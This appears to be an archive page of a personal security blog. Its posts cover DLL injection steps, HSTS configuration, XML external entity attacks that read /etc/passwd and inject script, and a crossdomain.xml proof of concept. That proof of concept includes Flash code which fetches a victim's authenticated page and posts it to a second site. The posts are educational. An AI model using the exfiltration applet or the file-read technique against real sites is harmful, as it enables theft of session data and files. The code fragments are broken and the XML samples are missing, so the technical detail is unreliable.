Injection on Windows

So, I’ve been playing around a bit with DLL injection on Windows. The basic process is-

  • Identify the process
  • Open the target process
  • Create a buffer in the target process that’s large enough to hold the path to the DLL to inject
  • Write the path to the DLL to the buffer
  • Create a remote thread in the target process using LoadLibrary as the thread function and the buffer created as the parameter

That’s it in a nutshell. Will show in-depth soon!

Posted in Security | Leave a comment

The Witchcraft Compiler Collection by @endrazine

In case you missed Defcon 24 or were there and happened to miss this talk, this is some amazing stuff. It’s called the Witchcraft Compiler Collection (WCC) by my co-worker and friend, Jonathan Brossard.

Some things you can do with WCC:

  • Transforming ET_EXEC ELF executables into shared libraries (id est: transforming an executable into a shared library !) Demoed this by patching proftpd into a shared library and then calling functions in it from C.
  • Unlinking ELF binaries into relocatable object files, then relink them back using gcc and verify they still work !
  • Running OpenBSD binaries natively on linux by relinking it. 0 patching required !
  • Using ET_DYN executables as shared libraries (Used /usr/sbin/apache2 as a shared library ! Called internal functions from C code)
  • Prototyping exploits from symbolic execution partial traces (did a live exploit from an old version of Samba)
  • In memory JIT translation from ARM to Intel x86_64 + debugging : did a demo on running a ARM library natively on amd64 linux with inprocess JIT binary translation.

Abstract of the talk :

The slides are available here :

The codebase is available here : under MIT License (proper open source).

The code for all the demos is available here :

Check it out!

Posted in Open Source, Security, Uncategorized | Leave a comment

An Overview of HSTS

What is HSTS?

HSTS stands for HTTP Strict Transport Security.  It’s a web security policy that allows a web server to inform a web browser that it should only be accessed over HTTPS and never HTTP.  It also helps prevent things like downgrade attacks (switching from HTTPS to HTTP).

How do you set it up?

HSTS is a response header that is set by the web server and sent back to the web browser.   In the HTTP section of your web configuration, you need to configure it to redirect the client to access via HTTPS.  In the HTTPS section of your web configuration is where you set the HSTS header.   From that point on (until the header times out), your browser will only access your site via HTTPS automatically.  Even if you try to access via HTTP, it will enforce you accessing via HTTPS.  This way of doing it allows a client browser to access via HTTP once.

HSTS can also be enforced by being in the browsers’ HSTS preload list.

Web server setup for

This is what the relevant part of the HTTP VirtualHost would look like-

#Redirect to HTTPS if requested via HTTP
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

This is what the relevant part of the HTTPS VirtualHost would look like-

Header always set Strict-Transport-Security "max-age=108000; preload"

This is what a response from a request to over HTTPS looks like-

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 13:32:23 GMT
Server: localhost
Strict-Transport-Security: max-age=108000; preload
Last-Modified: Thu, 23 Jun 2016 13:32:24 GMT
Pragma: public
Cache-Control: max-age=7200, public
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 64416
Connection: close
Content-Type: text/html; charset=UTF-8

What does the header look like?

Strict-Transport-Security: max-age=<seconds>; includeSubdomains; preload

The parameters are-

  • max-age is the number of seconds you want the browser to cache the header.  Keep in mind that every time time you get a response over HTTPS, the max-age in the client browser is reset
  • includeSubdomains informs the browser to also enforce HTTP on subdomains by default
  • preload is a tag that announces the fact that your site can be added to the default preload list that the browsers have built-in.  If your site is in this list, any time a browser access the site it will be over HTTPS.  You can add your site to the list by going to  Most browsers use this shared list, so it will be included in future browser updates.   The reason the preload tag exists is so that not just anyone can add a site to the preload list.   If they could, they would be able to deny service to sites that don’t have HTTPS, but are in the pre-load list.
Posted in Security | Leave a comment

XML External Entity attack (XXE) in a Nutshell

The XXE attack has been around for a few years, but hasn’t gotten much attention until the last couple of years with some high-profile cases in Facebook and PayPal.

So, what is the XML External Entity attack? XXE is an abbreviation for XML External Entity. It is a part of the XML spec that allows a document to have entities that resolve to someplace external (not within the same document).

Some basic examples demonstrate the concept describe it best. For example, let’s say that we have a web app that takes as input an xml file and displays it in a table.

Example 1

Here’s a sample input file-

      Bob Walker
      Alice Jones

This is processed and displays the following-

login name email
bobw Bob Walker
ajones Alice Jones

Pretty Straightforward, right?

Example 2

Now, let’s take the same example and add an entity-

      Bob Walker
      Alice Jones

This processes and displays-

login name email
Foo Bob Walker
ajones Alice Jones

What happened? On line 3 of the xml file we created an entity called foo which is the string, “Foo”. We then use that entity, &foo, in place of Bob’s username on line 7. While processing the document the parser substituted “Foo” when it saw &foo;.

Example 3

Now let’s do something really interesting. Consider the following-

      Bob Walker
      Alice Jones

This processes and displays-

login name email
root:x:0:0:root:/root:/bin/bash <redacted> Bob Walker
ajones Alice Jones

What did it do? On line 3, the keyword SYSTEM means that this entity reference is external to the document. In this case, the external entity references /etc/passwd on the system that is processing the xml. This causes the contents of /etc/passwd to be pulled into the document and then displayed.

Example 4

Up to this point, the attacks have been against the server. How can we attack the user?
Consider this-

      Bob Walker
      Alice Jones

What do you think the external entity reference does here? It returns <script>alert(‘xss’)</script>. When the table displays that script is executed in the browser. (I’m not displaying the results like in previous examples because it would execute while you are reading this and it’s just an example showing that it’s vulnerable.).

I hope these examples give you a basic understanding of what the XXE vulnerability is. I’ll likely do a follow-up post with more advanced examples soon and how to mitigate it soon.

Posted in Security | Leave a comment when proxying SoapUI through Burp

Ever try to proxy SoapUI through Burp when accessing an endpoint over ssl and get this error?


Here’s how to fix-

First, in your SoapUI script(s), change the protocol of all of the endpoints from https to http.

Then go to the Proxy Listeners section in Burp and edit your current proxy.
Proxy Listeners Settings in Burp

Then go to the Request Handling Settings and select Force use of SSL
Request Handling Settings in Burp

This basically achieves several things.  It removes the untrusted cert error that SoapUI gives because the Burp SSL proxy cert doesn’t match the endpoint, isn’t a trusted cert, or isn’t in the Java keystore. It also allows you to view all of the traffic in Burp easily. Just remember that the Force use of SSL setting in Burp for the proxy forces all traffic through through the proxy to go over ssl, so be sure to change it back when finished.

Posted in Security | Leave a comment

Ruby and Security Presentation


So, a couple of weeks ago I presented to the Indy OWASP Chapter about a topic near and dear to my heart- ruby and security. I really had a great time creating and giving the presentation and hope to expand it for a future talk.

Posted in Ruby, Security | Leave a comment

Recommended Security Reading List Link

Those of you that know me know that books are my vice. I have a ton of books. I have them at my house, in my car, at my office, etc. I have paperbacks, hardbacks, and e-books. I’ve recently started bringing in a few to work each day in order to reduce clutter at my house.


I stumbled across this reading list -> which is a great list by @attrc that breaks down books by subject and skill level. If you are looking for good books on security, this is definitely something to check out. And if you live near me, ping me and I most likely have them if you would like to borrow. 🙂

Posted in Security | Leave a comment

Liberal Crossdomain.xml Example- Part 2

As a followup to Liberal Crossdomain.xml Exploit Example – Part 1, this is the source for the Flash app.

package {
 import flash.display.Sprite;
 public class flasher extends Sprite {
  public function flasher() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   catch (error:Error) 
  private function eventHandler(event:Event):void 
   // URL to which retrieved data is to be sent
   var sendTo:String = ""
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST; =;
   var sendLoader:URLLoader = new URLLoader();
   catch (error:Error) 

It’s really a fairly simple Flash applet. The class is called flasher and extends Sprite. Sprite is a base class for UI components that don’t use the timeline. In the constructor it creates a URLRequest object to data from the location specified in the readFrom variable via a URLLoader object. It then sets an event handler, called eventhandler, that is called when that read is done. When the read is done, it then basically does the same thing, but posts to the variable specified in sendTo and sets the body of the request to be the data received from the first step.

Note: This is based off an example that I found, but have misplaced. Once found, I will update the post to reference it.

Posted in Security | 1 Comment

Liberal Crossdomain.xml Exploit Example – Part 1

So, I decided to whip up this PoC of a liberal crossdomain.xml policy and what you can do with it. It’s been on my mind recently and thought a tangible example would help solidify in mind some of the possibilities. First, the basics-

What is a crossdomain.xml file?

A crossdomain.xml file essentially lets a domain specify the domains from which flash applets are loaded that are allowed to access it. The domain(s) that the crossdomain.xml file specifies are the domain from which the applet is loaded, not the domain that references the flash file.

Why does this matter?

Keep in mind that when a flash applet makes a call to retrieve data from a domain, the browser includes any cookies for that domain with the call. So, if it’s a domain that you’re authenticated with, then the flash applet will have the same access to that domain as the user does when accessing the site.

A working example

There are 2 domains for this example- and These are both domains that I own and have used for this demo.

Try going to You will get a message that looks like this-

You are not logged in. Please login

because you are not logged in. That page requires you to be authenticated to view it. (In this cause “authenticated” means a cookie is set with your username:password in it)

Then go to and input anything as the user name and anything as the password. In my example, I used “chs” for both. You will be redirected to with a message that looks like-

Thanks for logging in! Your credentials are: chs:chs. Do not share them with others.  You must be authenticated to view this page.

Since you are authenticated, it lets you get to that page and shows you your username:password in this example. In a real world site it could be a page that shows you bank balances, sensitive data, etc.

Now, in another browser tab open It appears that nothing happens. But, in the background it connected to, got the response, and logged it.

You can see the results at

Currently it looks like-

Thanks for logging in! Your credentials are: chs:chs. Do not share them with others. You must be authenticated to view this page. 

So, the flash applet that I wrote on connected to and pulled the content utilizing your existing session with

Why did that happen?

The reason this happened was because had a liberal crossdomain.xml policy. In this example, it lets any flash applet connect. It looks like-

When a flash applet tries to connect to a domain, the flash container attempts to retrieve crossdomain.xml and applies the policy it contains. Since the above one allows access from any domain, the flash applet from was allowed to connect, access the page, and log the results.

Part 2

Posted in Security | 6 Comments

New version of iPwnedCheck is in the App Store! Adds breach details and other enhancements

Version 1.3 has been released and is in the App Store.


  • Click on a breach name to get more details
  • Internationalized date formatting
  • Removes autocapitalization/autocorrection when adding sites
  • Checks for duplicate usernames/emails already tracked

Get it at-

Posted in Ruby, Security | Leave a comment